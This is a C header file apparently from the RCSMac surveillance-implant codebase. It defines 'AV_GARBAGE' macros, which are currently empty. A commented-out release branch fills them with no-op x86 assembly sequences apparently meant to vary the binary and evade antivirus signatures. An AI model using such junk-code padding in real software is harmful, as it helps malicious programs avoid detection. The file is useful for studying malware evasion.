core/Support/RCSMAVGarbage.h
//
// RCSMAVGarbage.h
// RCSMac
//
// Created by kiodo on 8/1/12.
// Copyright 2012 HT srl. All rights reserved.
//
#ifndef RCSMac_RCSMAVGarbage_h
#define RCSMac_RCSMAVGarbage_h
// XXX- disable for current version
#define AV_GARBAGE_000
#define AV_GARBAGE_001
#define AV_GARBAGE_002
#define AV_GARBAGE_003
#define AV_GARBAGE_004
#define AV_GARBAGE_005
#define AV_GARBAGE_006
#define AV_GARBAGE_007
#define AV_GARBAGE_008
#define AV_GARBAGE_009
//#ifdef DEBUG
//
///*
// * DEBUG
// */
//#define AV_GARBAGE_000
//#define AV_GARBAGE_001
//#define AV_GARBAGE_002
//#define AV_GARBAGE_003
//#define AV_GARBAGE_004
//#define AV_GARBAGE_005
//#define AV_GARBAGE_006
//#define AV_GARBAGE_007
//#define AV_GARBAGE_008
//#define AV_GARBAGE_009
//
//#else
///*
// * RELEASE
// */
//#if defined(__i386__)
//
//#define AV_GARBAGE_000 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "mov %ebx, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_001 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %ebx, %eax\n\t" \
// "xor %eax, %ebx\n\t" \
// "xor %eax, %eax\n\t" \
// "mov %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_002 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_003 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "mov %ebx, %eax\n\t" \
// "xor %eax, %ebx\n\t" \
// "xor %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_004 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_005 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "xor %eax, %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_006 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_007 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %ebx, %eax\n\t" \
// "xor %eax, %eax\n\t" \
// "mov %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_008 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#define AV_GARBAGE_009 __asm__ ("push %eax\n\t" \
// "push %ebx\n\t" \
// "mov %eax, %eax\n\t" \
// "pop %ebx\n\t" \
// "pop %eax");
//
//#elif defined(__x86_64__)
//
//#define AV_GARBAGE_000
//#define AV_GARBAGE_001
//#define AV_GARBAGE_002
//#define AV_GARBAGE_003
//#define AV_GARBAGE_004
//#define AV_GARBAGE_005
//#define AV_GARBAGE_006
//#define AV_GARBAGE_007
//#define AV_GARBAGE_008
//#define AV_GARBAGE_009
//#define AV_GARBAGE_001
//
//#endif
//
//#endif
#endif